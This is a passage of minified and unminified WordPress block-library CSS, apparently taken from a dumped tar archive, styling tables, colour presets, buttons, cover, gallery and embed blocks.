background-color: #e7f5fe; } .wp-block-table .has-subtle-pale-pink-background-color { background-color: #fcf0ef; } .wp-block-table.is-style-stripes { border-spacing: 0; border-collapse: inherit; background-color: transparent; border-bottom: 1px solid #f0f0f0; } .wp-block-table.is-style-stripes tbody tr:nth-child(odd) { background-color: #f0f0f0; } .wp-block-table.is-style-stripes.has-subtle-light-gray-background-color tbody tr:nth-child(odd) { background-color: #f3f4f5; } .wp-block-table.is-style-stripes.has-subtle-pale-green-background-color tbody tr:nth-child(odd) { background-color: #e9fbe5; } .wp-block-table.is-style-stripes.has-subtle-pale-blue-background-color tbody tr:nth-child(odd) { background-color: #e7f5fe; } .wp-block-table.is-style-stripes.has-subtle-pale-pink-background-color tbody tr:nth-child(odd) { background-color: #fcf0ef; } .wp-block-table.is-style-stripes th, .wp-block-table.is-style-stripes td { border-color: transparent; } .wp-block-text-columns { display: flex; } .wp-block-text-columns.aligncenter { display: flex; } .wp-block-text-columns .wp-block-column { margin: 0 1em; padding: 0; } .wp-block-text-columns .wp-block-column:first-child { margin-left: 0; } .wp-block-text-columns .wp-block-column:last-child { margin-right: 0; } .wp-block-text-columns.columns-2 .wp-block-column { width: calc(100% / 2); } .wp-block-text-columns.columns-3 .wp-block-column { width: calc(100% / 3); } .wp-block-text-columns.columns-4 .wp-block-column { width: calc(100% / 4); } pre.wp-block-verse { font-family: inherit; overflow: auto; white-space: pre-wrap; } .wp-block-video { margin-left: 0; margin-right: 0; } .wp-block-video video { width: 100%; } @supports ((position: -webkit-sticky) or (position: sticky)) { .wp-block-video [poster] { -o-object-fit: cover; object-fit: cover; } } .wp-block-video.aligncenter { text-align: center; } .wp-block-video figcaption { margin-top: 0.5em; margin-bottom: 1em; } .wp-block-post-featured-image a { display: inline-block; } .wp-block-post-featured-image img { max-width: 100%; height: auto; } :root { /* stylelint-disable function-comma-space-after */ /* stylelint-enable function-comma-space-after */ } :root .has-pale-pink-background-color { background-color: #f78da7; } :root .has-vivid-red-background-color { background-color: #cf2e2e; } :root .has-luminous-vivid-orange-background-color { background-color: #ff6900; } :root .has-luminous-vivid-amber-background-color { background-color: #fcb900; } :root .has-light-green-cyan-background-color { background-color: #7bdcb5; } :root .has-vivid-green-cyan-background-color { background-color: #00d084; } :root .has-pale-cyan-blue-background-color { background-color: #8ed1fc; } :root .has-vivid-cyan-blue-background-color { background-color: #0693e3; } :root .has-vivid-purple-background-color { background-color: #9b51e0; } :root .has-white-background-color { background-color: #fff; } :root .has-very-light-gray-background-color { background-color: #eee; } :root .has-cyan-bluish-gray-background-color { background-color: #abb8c3; } :root .has-very-dark-gray-background-color { background-color: #313131; } :root .has-black-background-color { background-color: #000; } :root .has-pale-pink-color { color: #f78da7; } :root .has-vivid-red-color { color: #cf2e2e; } :root .has-luminous-vivid-orange-color { color: #ff6900; } :root .has-luminous-vivid-amber-color { color: #fcb900; } :root .has-light-green-cyan-color { color: #7bdcb5; } :root .has-vivid-green-cyan-color { color: #00d084; } :root .has-pale-cyan-blue-color { color: #8ed1fc; } :root .has-vivid-cyan-blue-color { color: #0693e3; } :root .has-vivid-purple-color { color: #9b51e0; } :root .has-white-color { color: #fff; } :root .has-very-light-gray-color { color: #eee; } :root .has-cyan-bluish-gray-color { color: #abb8c3; } :root .has-very-dark-gray-color { color: #313131; } :root .has-black-color { color: #000; } :root .has-vivid-cyan-blue-to-vivid-purple-gradient-background { background: linear-gradient(135deg, #0693e3 0%, #9b51e0 100%); } :root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background { background: linear-gradient(135deg, #00d084 0%, #0693e3 100%); } :root .has-light-green-cyan-to-vivid-green-cyan-gradient-background { background: linear-gradient(135deg, #7adcb4 0%, #00d082 100%); } :root .has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background { background: linear-gradient(135deg, #fcb900 0%, #ff6900 100%); } :root .has-luminous-vivid-orange-to-vivid-red-gradient-background { background: linear-gradient(135deg, #ff6900 0%, #cf2e2e 100%); } :root .has-very-light-gray-to-cyan-bluish-gray-gradient-background { background: linear-gradient(135deg, #eeeeee 0%, #a9b8c3 100%); } :root .has-cool-to-warm-spectrum-gradient-background { background: linear-gradient(135deg, #4aeadc 0%, #9778d1 20%, #cf2aba 40%, #ee2c82 60%, #fb6962 80%, #fef84c 100%); } :root .has-blush-light-purple-gradient-background { background: linear-gradient(135deg, #ffceec 0%, #9896f0 100%); } :root .has-blush-bordeaux-gradient-background { background: linear-gradient(135deg, #fecda5 0%, #fe2d2d 50%, #6b003e 100%); } :root .has-purple-crush-gradient-background { background: linear-gradient(135deg, #34e2e4 0%, #4721fb 50%, #ab1dfe 100%); } :root .has-luminous-dusk-gradient-background { background: linear-gradient(135deg, #ffcb70 0%, #c751c0 50%, #4158d0 100%); } :root .has-hazy-dawn-gradient-background { background: linear-gradient(135deg, #faaca8 0%, #dad0ec 100%); } :root .has-pale-ocean-gradient-background { background: linear-gradient(135deg, #fff5cb 0%, #b6e3d4 50%, #33a7b5 100%); } :root .has-electric-grass-gradient-background { background: linear-gradient(135deg, #caf880 0%, #71ce7e 100%); } :root .has-subdued-olive-gradient-background { background: linear-gradient(135deg, #fafae1 0%, #67a671 100%); } :root .has-atomic-cream-gradient-background { background: linear-gradient(135deg, #fdd79a 0%, #004a59 100%); } :root .has-nightshade-gradient-background { background: linear-gradient(135deg, #330968 0%, #31cdcf 100%); } :root .has-midnight-gradient-background { background: linear-gradient(135deg, #020381 0%, #2874fc 100%); } :root .has-link-color a { color: #00e; color: var(--wp--style--color--link, #00e); } .has-small-font-size { font-size: 0.8125em; } .has-regular-font-size, .has-normal-font-size { font-size: 1em; } .has-medium-font-size { font-size: 1.25em; } .has-large-font-size { font-size: 2.25em; } .has-larger-font-size, .has-huge-font-size { font-size: 2.625em; } .has-text-align-center { text-align: center; } .has-text-align-left { /*rtl:ignore*/ text-align: left; } .has-text-align-right { /*rtl:ignore*/ text-align: right; } #end-resizable-editor-section { display: none; } .aligncenter { clear: both; }css/dist/block-library/style.min.css000064400000161473151202620300013472 0ustar00@charset "UTF-8";#start-resizable-editor-section{display:none}.wp-block-audio figcaption{margin-top:.5em;margin-bottom:1em}.wp-block-audio audio{width:100%;min-width:300px}.wp-block-button__link{color:#fff;background-color:#32373c;border:none;border-radius:1.55em;box-shadow:none;cursor:pointer;display:inline-block;font-size:1.125em;padding:.667em 1.333em;text-align:center;text-decoration:none;overflow-wrap:break-word}.wp-block-button__link:active,.wp-block-button__link:focus,.wp-block-button__link:hover,.wp-block-button__link:visited{color:#fff}.wp-block-button__link.aligncenter{text-align:center}.wp-block-button__link.alignright{text-align:right}.wp-block-buttons>.wp-block-button.has-custom-width{max-width:none}.wp-block-buttons>.wp-block-button.has-custom-width .wp-block-button__link{width:100%}.wp-block-buttons>.wp-block-button.wp-block-button__width-25{width:calc(25% - .5em)}.wp-block-buttons>.wp-block-button.wp-block-button__width-50{width:calc(50% - .5em)}.wp-block-buttons>.wp-block-button.wp-block-button__width-75{width:calc(75% - .5em)}.wp-block-buttons>.wp-block-button.wp-block-button__width-100{margin-right:0;width:100%}.wp-block-button.is-style-squared,.wp-block-button__link.wp-block-button.is-style-squared{border-radius:0}.wp-block-button.no-border-radius,.wp-block-button__link.no-border-radius{border-radius:0!important}.is-style-outline>.wp-block-button__link,.wp-block-button__link.is-style-outline{border:2px solid}.is-style-outline>.wp-block-button__link:not(.has-text-color),.wp-block-button__link.is-style-outline:not(.has-text-color){color:#32373c}.is-style-outline>.wp-block-button__link:not(.has-background),.wp-block-button__link.is-style-outline:not(.has-background){background-color:transparent}.wp-block-buttons{display:flex;flex-direction:row;flex-wrap:wrap}.wp-block-buttons.is-vertical{flex-direction:column}.wp-block-buttons.is-vertical>.wp-block-button{margin-right:0}.wp-block-buttons.is-vertical>.wp-block-button:last-child{margin-bottom:0}.wp-block-buttons>.wp-block-button{display:inline-block;margin-left:0;margin-right:.5em;margin-bottom:.5em}.wp-block-buttons>.wp-block-button:last-child{margin-right:0}.wp-block-buttons.is-content-justification-left{justify-content:flex-start}.wp-block-buttons.is-content-justification-left.is-vertical{align-items:flex-start}.wp-block-buttons.is-content-justification-center{justify-content:center}.wp-block-buttons.is-content-justification-center.is-vertical{align-items:center}.wp-block-buttons.is-content-justification-right{justify-content:flex-end}.wp-block-buttons.is-content-justification-right>.wp-block-button{margin-left:.5em;margin-right:0}.wp-block-buttons.is-content-justification-right>.wp-block-button:first-child{margin-left:0}.wp-block-buttons.is-content-justification-right.is-vertical{align-items:flex-end}.wp-block-buttons.is-content-justification-space-between{justify-content:space-between}.wp-block-buttons.aligncenter{text-align:center}.wp-block-buttons.alignleft .wp-block-button{margin-left:0;margin-right:.5em}.wp-block-buttons.alignleft .wp-block-button:last-child{margin-right:0}.wp-block-buttons.alignright .wp-block-button{margin-right:0;margin-left:.5em}.wp-block-buttons.alignright .wp-block-button:first-child{margin-left:0}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block-button.aligncenter{margin-left:auto;margin-right:auto;margin-bottom:.5em;width:100%}.wp-block-calendar{text-align:center}.wp-block-calendar tbody td,.wp-block-calendar th{padding:.25em;border:1px solid #ddd}.wp-block-calendar tfoot td{border:none}.wp-block-calendar table{width:100%;border-collapse:collapse}.wp-block-calendar table th{font-weight:400;background:#ddd}.wp-block-calendar a{text-decoration:underline}.wp-block-calendar table caption,.wp-block-calendar table tbody{color:#40464d}.wp-block-categories.alignleft{margin-right:2em}.wp-block-categories.alignright{margin-left:2em}.wp-block-code code{display:block;white-space:pre-wrap;overflow-wrap:break-word}.wp-block-columns{display:flex;margin-bottom:1.75em;flex-wrap:wrap}@media (min-width:782px){.wp-block-columns{flex-wrap:nowrap}}.wp-block-columns.has-background{padding:1.25em 2.375em}.wp-block-columns.are-vertically-aligned-top{align-items:flex-start}.wp-block-columns.are-vertically-aligned-center{align-items:center}.wp-block-columns.are-vertically-aligned-bottom{align-items:flex-end}.wp-block-column{flex-grow:1;min-width:0;word-break:break-word;overflow-wrap:break-word}@media (max-width:599px){.wp-block-column{flex-basis:100%!important}}@media (min-width:600px) and (max-width:781px){.wp-block-column:not(:only-child){flex-basis:calc(50% - 1em)!important;flex-grow:0}.wp-block-column:nth-child(2n){margin-left:2em}}@media (min-width:782px){.wp-block-column{flex-basis:0;flex-grow:1}.wp-block-column[style*=flex-basis]{flex-grow:0}.wp-block-column:not(:first-child){margin-left:2em}}.wp-block-column.is-vertically-aligned-top{align-self:flex-start}.wp-block-column.is-vertically-aligned-center{-ms-grid-row-align:center;align-self:center}.wp-block-column.is-vertically-aligned-bottom{align-self:flex-end}.wp-block-column.is-vertically-aligned-bottom,.wp-block-column.is-vertically-aligned-center,.wp-block-column.is-vertically-aligned-top{width:100%}.wp-block-cover,.wp-block-cover-image{position:relative;background-size:cover;background-position:50%;min-height:430px;width:100%;display:flex;justify-content:center;align-items:center;padding:1em;box-sizing:border-box}.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax{background-attachment:fixed}@supports (-webkit-overflow-scrolling:touch){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax{background-attachment:scroll}}@media (prefers-reduced-motion:reduce){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax{background-attachment:scroll}}.wp-block-cover-image.is-repeated,.wp-block-cover.is-repeated{background-repeat:repeat;background-size:auto}.wp-block-cover-image.has-background-dim:not([class*=-background-color]),.wp-block-cover.has-background-dim:not([class*=-background-color]){background-color:#000}.wp-block-cover-image.has-background-dim:before,.wp-block-cover.has-background-dim:before{content:"";background-color:inherit}.wp-block-cover-image.has-background-dim:not(.has-background-gradient):before,.wp-block-cover-image .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim:not(.has-background-gradient):before,.wp-block-cover .wp-block-cover__gradient-background{position:absolute;top:0;left:0;bottom:0;right:0;z-index:1;opacity:.5}.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-10:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-10:not(.has-background-gradient):before{opacity:.1}.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-20:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-20:not(.has-background-gradient):before{opacity:.2}.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-30:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-30:not(.has-background-gradient):before{opacity:.3}.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-40:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-40:not(.has-background-gradient):before{opacity:.4}.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-50:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-50:not(.has-background-gradient):before{opacity:.5}.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-60:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-60:not(.has-background-gradient):before{opacity:.6}.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-70:not(.has-background-gradient):before{opacity:.7}.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-80:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-80:not(.has-background-gradient):before{opacity:.8}.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-90:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-90:not(.has-background-gradient):before{opacity:.9}.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-100:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-100:not(.has-background-gradient):before{opacity:1}.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.alignleft,.wp-block-cover.alignright{max-width:420px;width:100%}.wp-block-cover-image:after,.wp-block-cover:after{display:block;content:"";font-size:0;min-height:inherit}@supports ((position:-webkit-sticky) or (position:sticky)){.wp-block-cover-image:after,.wp-block-cover:after{content:none}}.wp-block-cover-image.aligncenter,.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.aligncenter,.wp-block-cover.alignleft,.wp-block-cover.alignright{display:flex}.wp-block-cover-image .wp-block-cover__inner-container,.wp-block-cover .wp-block-cover__inner-container{width:100%;z-index:1;color:#fff}.wp-block-cover-image .wp-block-subhead:not(.has-text-color),.wp-block-cover-image h1:not(.has-text-color),.wp-block-cover-image h2:not(.has-text-color),.wp-block-cover-image h3:not(.has-text-color),.wp-block-cover-image h4:not(.has-text-color),.wp-block-cover-image h5:not(.has-text-color),.wp-block-cover-image h6:not(.has-text-color),.wp-block-cover-image p:not(.has-text-color),.wp-block-cover .wp-block-subhead:not(.has-text-color),.wp-block-cover h1:not(.has-text-color),.wp-block-cover h2:not(.has-text-color),.wp-block-cover h3:not(.has-text-color),.wp-block-cover h4:not(.has-text-color),.wp-block-cover h5:not(.has-text-color),.wp-block-cover h6:not(.has-text-color),.wp-block-cover p:not(.has-text-color){color:inherit}.wp-block-cover-image.is-position-top-left,.wp-block-cover.is-position-top-left{align-items:flex-start;justify-content:flex-start}.wp-block-cover-image.is-position-top-center,.wp-block-cover.is-position-top-center{align-items:flex-start;justify-content:center}.wp-block-cover-image.is-position-top-right,.wp-block-cover.is-position-top-right{align-items:flex-start;justify-content:flex-end}.wp-block-cover-image.is-position-center-left,.wp-block-cover.is-position-center-left{align-items:center;justify-content:flex-start}.wp-block-cover-image.is-position-center-center,.wp-block-cover.is-position-center-center{align-items:center;justify-content:center}.wp-block-cover-image.is-position-center-right,.wp-block-cover.is-position-center-right{align-items:center;justify-content:flex-end}.wp-block-cover-image.is-position-bottom-left,.wp-block-cover.is-position-bottom-left{align-items:flex-end;justify-content:flex-start}.wp-block-cover-image.is-position-bottom-center,.wp-block-cover.is-position-bottom-center{align-items:flex-end;justify-content:center}.wp-block-cover-image.is-position-bottom-right,.wp-block-cover.is-position-bottom-right{align-items:flex-end;justify-content:flex-end}.wp-block-cover-image.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container{margin:0;width:auto}.wp-block-cover-image img.wp-block-cover__image-background,.wp-block-cover-image video.wp-block-cover__video-background,.wp-block-cover img.wp-block-cover__image-background,.wp-block-cover video.wp-block-cover__video-background{position:absolute;top:0;left:0;right:0;bottom:0;margin:0;padding:0;width:100%;height:100%;max-width:none;max-height:none;-o-object-fit:cover;object-fit:cover;outline:none;border:none;box-shadow:none}.wp-block-cover__image-background,.wp-block-cover__video-background{z-index:0}.wp-block-cover-image-text,.wp-block-cover-image-text a,.wp-block-cover-image-text a:active,.wp-block-cover-image-text a:focus,.wp-block-cover-image-text a:hover,.wp-block-cover-text,.wp-block-cover-text a,.wp-block-cover-text a:active,.wp-block-cover-text a:focus,.wp-block-cover-text a:hover,section.wp-block-cover-image h2,section.wp-block-cover-image h2 a,section.wp-block-cover-image h2 a:active,section.wp-block-cover-image h2 a:focus,section.wp-block-cover-image h2 a:hover{color:#fff}.wp-block-cover-image .wp-block-cover.has-left-content{justify-content:flex-start}.wp-block-cover-image .wp-block-cover.has-right-content{justify-content:flex-end}.wp-block-cover-image.has-left-content .wp-block-cover-image-text,.wp-block-cover.has-left-content .wp-block-cover-text,section.wp-block-cover-image.has-left-content>h2{margin-left:0;text-align:left}.wp-block-cover-image.has-right-content .wp-block-cover-image-text,.wp-block-cover.has-right-content .wp-block-cover-text,section.wp-block-cover-image.has-right-content>h2{margin-right:0;text-align:right}.wp-block-cover-image .wp-block-cover-image-text,.wp-block-cover .wp-block-cover-text,section.wp-block-cover-image>h2{font-size:2em;line-height:1.25;z-index:1;margin-bottom:0;max-width:840px;padding:.44em;text-align:center}.wp-block-embed.alignleft,.wp-block-embed.alignright,.wp-block[data-align=left]>[data-type="core/embed"],.wp-block[data-align=right]>[data-type="core/embed"]{max-width:360px;width:100%}.wp-block-embed.alignleft .wp-block-embed__wrapper,.wp-block-embed.alignright .wp-block-embed__wrapper,.wp-block[data-align=left]>[data-type="core/embed"] .wp-block-embed__wrapper,.wp-block[data-align=right]>[data-type="core/embed"] .wp-block-embed__wrapper{min-width:280px}.wp-block-cover .wp-block-embed{min-width:320px;min-height:240px}.wp-block-embed{margin-bottom:1em}.wp-block-embed figcaption{margin-top:.5em;margin-bottom:1em}.wp-block-embed iframe{max-width:100%}.wp-block-embed__wrapper{position:relative}.wp-embed-responsive .wp-has-aspect-ratio .wp-block-embed__wrapper:before{content:"";display:block;padding-top:50%}.wp-embed-responsive .wp-has-aspect-ratio iframe{position:absolute;top:0;right:0;bottom:0;left:0;height:100%;width:100%}.wp-embed-responsive .wp-embed-aspect-21-9 .wp-block-embed__wrapper:before{padding-top:42.85%}.wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper:before{padding-top:50%}.wp-embed-responsive .wp-embed-aspect-16-9 .wp-block-embed__wrapper:before{padding-top:56.25%}.wp-embed-responsive .wp-embed-aspect-4-3 .wp-block-embed__wrapper:before{padding-top:75%}.wp-embed-responsive .wp-embed-aspect-1-1 .wp-block-embed__wrapper:before{padding-top:100%}.wp-embed-responsive .wp-embed-aspect-9-16 .wp-block-embed__wrapper:before{padding-top:177.77%}.wp-embed-responsive .wp-embed-aspect-1-2 .wp-block-embed__wrapper:before{padding-top:200%}.wp-block-file{margin-bottom:1.5em}.wp-block-file.aligncenter{text-align:center}.wp-block-file.alignright{text-align:right}.wp-block-file .wp-block-file__button{background:#32373c;border-radius:2em;color:#fff;font-size:.8em;padding:.5em 1em}.wp-block-file a.wp-block-file__button{text-decoration:none}.wp-block-file a.wp-block-file__button:active,.wp-block-file a.wp-block-file__button:focus,.wp-block-file a.wp-block-file__button:hover,.wp-block-file a.wp-block-file__button:visited{box-shadow:none;color:#fff;opacity:.85;text-decoration:none}.wp-block-file *+.wp-block-file__button{margin-left:.75em}.blocks-gallery-grid,.wp-block-gallery{display:flex;flex-wrap:wrap;list-style-type:none;padding:0;margin:0}.blocks-gallery-grid .blocks-gallery-image,.blocks-gallery-grid .blocks-gallery-item,.wp-block-gallery .blocks-gallery-image,.wp-block-gallery .blocks-gallery-item{margin:0 1em 1em 0;display:flex;flex-grow:1;flex-direction:column;justify-content:center;position:relative;width:calc(50% - 1em)}.blocks-gallery-grid .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery .blocks-gallery-item:nth-of-type(2n){margin-right:0}.blocks-gallery-grid .blocks-gallery-image figure,.blocks-gallery-grid .blocks-gallery-item figure,.wp-block-gallery .blocks-gallery-image figure,.wp-block-gallery .blocks-gallery-item figure{margin:0;height:100%}@supports ((position:-webkit-sticky) or (position:sticky)){.blocks-gallery-grid .blocks-gallery-image figure,.blocks-gallery-grid .blocks-gallery-item figure,.wp-block-gallery .blocks-gallery-image figure,.wp-block-gallery .blocks-gallery-item figure{display:flex;align-items:flex-end;justify-content:flex-start}}.blocks-gallery-grid .blocks-gallery-image img,.blocks-gallery-grid .blocks-gallery-item img,.wp-block-gallery .blocks-gallery-image img,.wp-block-gallery .blocks-gallery-item img{display:block;max-width:100%;height:auto;width:100%}@supports ((position:-webkit-sticky) or (position:sticky)){.blocks-gallery-grid .blocks-gallery-image img,.blocks-gallery-grid .blocks-gallery-item img,.wp-block-gallery .blocks-gallery-image img,.wp-block-gallery .blocks-gallery-item img{width:auto}}.blocks-gallery-grid .blocks-gallery-image figcaption,.blocks-gallery-grid .blocks-gallery-item figcaption,.wp-block-gallery .blocks-gallery-image figcaption,.wp-block-gallery .blocks-gallery-item figcaption{position:absolute;bottom:0;width:100%;max-height:100%;overflow:auto;padding:3em .77em .7em;color:#fff;text-align:center;font-size:.8em;background:linear-gradient(0deg,rgba(0,0,0,.7),rgba(0,0,0,.3) 70%,transparent);box-sizing:border-box;margin:0}.blocks-gallery-grid .blocks-gallery-image figcaption img,.blocks-gallery-grid .blocks-gallery-item figcaption img,.wp-block-gallery .blocks-gallery-image figcaption img,.wp-block-gallery .blocks-gallery-item figcaption img{display:inline}.blocks-gallery-grid figcaption,.wp-block-gallery figcaption{flex-grow:1}.blocks-gallery-grid.is-cropped .blocks-gallery-image a,.blocks-gallery-grid.is-cropped .blocks-gallery-image img,.blocks-gallery-grid.is-cropped .blocks-gallery-item a,.blocks-gallery-grid.is-cropped .blocks-gallery-item img,.wp-block-gallery.is-cropped .blocks-gallery-image a,.wp-block-gallery.is-cropped .blocks-gallery-image img,.wp-block-gallery.is-cropped .blocks-gallery-item a,.wp-block-gallery.is-cropped .blocks-gallery-item img{width:100%}@supports ((position:-webkit-sticky) or (position:sticky)){.blocks-gallery-grid.is-cropped .blocks-gallery-image a,.blocks-gallery-grid.is-cropped .blocks-gallery-image img,.blocks-gallery-grid.is-cropped .blocks-gallery-item a,.blocks-gallery-grid.is-cropped .blocks-gallery-item img,.wp-block-gallery.is-cropped .blocks-gallery-image a,.wp-block-gallery.is-cropped .blocks-gallery-image img,.wp-block-gallery.is-cropped .blocks-gallery-item a,.wp-block-gallery.is-cropped .blocks-gallery-item img{height:100%;flex:1;-o-object-fit:cover;object-fit:cover}}.blocks-gallery-grid.columns-1 .blocks-gallery-image,.blocks-gallery-grid.columns-1 .blocks-gallery-item,.wp-block-gallery.columns-1 .blocks-gallery-image,.wp-block-gallery.columns-1 .blocks-gallery-item{width:100%;margin-right:0}@media (min-width:600px){.blocks-gallery-grid.columns-3 .blocks-gallery-image,.blocks-gallery-grid.columns-3 .blocks-gallery-item,.wp-block-gallery.columns-3 .blocks-gallery-image,.wp-block-gallery.columns-3 .blocks-gallery-item{width:calc(33.33333% - .66667em);margin-right:1em}.blocks-gallery-grid.columns-4 .blocks-gallery-image,.blocks-gallery-grid.columns-4 .blocks-gallery-item,.wp-block-gallery.columns-4 .blocks-gallery-image,.wp-block-gallery.columns-4 .blocks-gallery-item{width:calc(25% - .75em);margin-right:1em}.blocks-gallery-grid.columns-5 .blocks-gallery-image,.blocks-gallery-grid.columns-5 .blocks-gallery-item,.wp-block-gallery.columns-5 .blocks-gallery-image,.wp-block-gallery.columns-5 .blocks-gallery-item{width:calc(20% - .8em);margin-right:1em}.blocks-gallery-grid.columns-6 .blocks-gallery-image,.blocks-gallery-grid.columns-6 .blocks-gallery-item,.wp-block-gallery.columns-6 .blocks-gallery-image,.wp-block-gallery.columns-6 .blocks-gallery-item{width:calc(16.66667% - .83333em);margin-right:1em}.blocks-gallery-grid.columns-7 .blocks-gallery-image,.blocks-gallery-grid.columns-7 .blocks-gallery-item,.wp-block-gallery.columns-7 .blocks-gallery-image,.wp-block-gallery.columns-7 .blocks-gallery-item{width:calc(14.28571% - .85714em);margin-right:1em}.blocks-gallery-grid.columns-8 .blocks-gallery-image,.blocks-gallery-grid.columns-8 .blocks-gallery-item,.wp-block-gallery.columns-8 .blocks-gallery-image,.wp-block-gallery.columns-8 .blocks-gallery-item{width:calc(12.5% - .875em);margin-right:1em}.blocks-gallery-grid.columns-1 .blocks-gallery-image:nth-of-type(1n),.blocks-gallery-grid.columns-1 .blocks-gallery-item:nth-of-type(1n),.blocks-gallery-grid.columns-2 .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid.columns-2 .blocks-gallery-item:nth-of-type(2n),.blocks-gallery-grid.columns-3 .blocks-gallery-image:nth-of-type(3n),.blocks-gallery-grid.columns-3 .blocks-gallery-item:nth-of-type(3n),.blocks-gallery-grid.columns-4 .blocks-gallery-image:nth-of-type(4n),.blocks-gallery-grid.columns-4 .blocks-gallery-item:nth-of-type(4n),.blocks-gallery-grid.columns-5 .blocks-gallery-image:nth-of-type(5n),.blocks-gallery-grid.columns-5 .blocks-gallery-item:nth-of-type(5n),.blocks-gallery-grid.columns-6 .blocks-gallery-image:nth-of-type(6n),.blocks-gallery-grid.columns-6 .blocks-gallery-item:nth-of-type(6n),.blocks-gallery-grid.columns-7 .blocks-gallery-image:nth-of-type(7n),.blocks-gallery-grid.columns-7 .blocks-gallery-item:nth-of-type(7n),.blocks-gallery-grid.columns-8 .blocks-gallery-image:nth-of-type(8n),.blocks-gallery-grid.columns-8 .blocks-gallery-item:nth-of-type(8n),.wp-block-gallery.columns-1 .blocks-gallery-image:nth-of-type(1n),.wp-block-gallery.columns-1 .blocks-gallery-item:nth-of-type(1n),.wp-block-gallery.columns-2 .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery.columns-2 .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery.columns-3 .blocks-gallery-image:nth-of-type(3n),.wp-block-gallery.columns-3 .blocks-gallery-item:nth-of-type(3n),.wp-block-gallery.columns-4 .blocks-gallery-image:nth-of-type(4n),.wp-block-gallery.columns-4 .blocks-gallery-item:nth-of-type(4n),.wp-block-gallery.columns-5 .blocks-gallery-image:nth-of-type(5n),.wp-block-gallery.columns-5 .blocks-gallery-item:nth-of-type(5n),.wp-block-gallery.columns-6 .blocks-gallery-image:nth-of-type(6n),.wp-block-gallery.columns-6 .blocks-gallery-item:nth-of-type(6n),.wp-block-gallery.columns-7 .blocks-gallery-image:nth-of-type(7n),.wp-block-gallery.columns-7 .blocks-gallery-item:nth-of-type(7n),.wp-block-gallery.columns-8 .blocks-gallery-image:nth-of-type(8n),.wp-block-gallery.columns-8 .blocks-gallery-item:nth-of-type(8n){margin-right:0}}.blocks-gallery-grid .blocks-gallery-image:last-child,.blocks-gallery-grid .blocks-gallery-item:last-child,.wp-block-gallery .blocks-gallery-image:last-child,.wp-block-gallery .blocks-gallery-item:last-child{margin-right:0}.blocks-gallery-grid.alignleft,.blocks-gallery-grid.alignright,.wp-block-gallery.alignleft,.wp-block-gallery.alignright{max-width:420px;width:100%}.blocks-gallery-grid.aligncenter .blocks-gallery-item figure,.wp-block-gallery.aligncenter .blocks-gallery-item figure{justify-content:center}.wp-block-group{box-sizing:border-box}h1.has-background,h2.has-background,h3.has-background,h4.has-background,h5.has-background,h6.has-background{padding:1.25em 2.375em}.wp-block-image{margin-bottom:1em}.wp-block-image img{max-width:100%}.wp-block-image:not(.is-style-rounded) 